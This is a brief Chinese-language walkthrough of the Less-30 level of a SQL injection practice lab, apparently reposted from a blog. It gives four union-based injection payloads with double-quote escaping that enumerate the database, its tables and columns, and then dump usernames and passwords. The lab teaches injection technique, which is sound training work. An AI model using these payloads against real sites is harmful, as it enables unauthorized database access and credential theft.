Less(30)Get-Blind Havaing with WAF

1.和上一题差不都,只是单引号变成双引号   id="1"

2.爆破:

  (1)爆库:?id=-1" union select 1,database(),3 --+

    

  (2)爆表:?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

    

  (3)爆列名:?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

    

  (4)爆值:?id=-1" union select 1,group_concat(username,0x7e,password),3 from security.users --+

    

原文地址:https://www.cnblogs.com/meng-yu37/p/12391741.html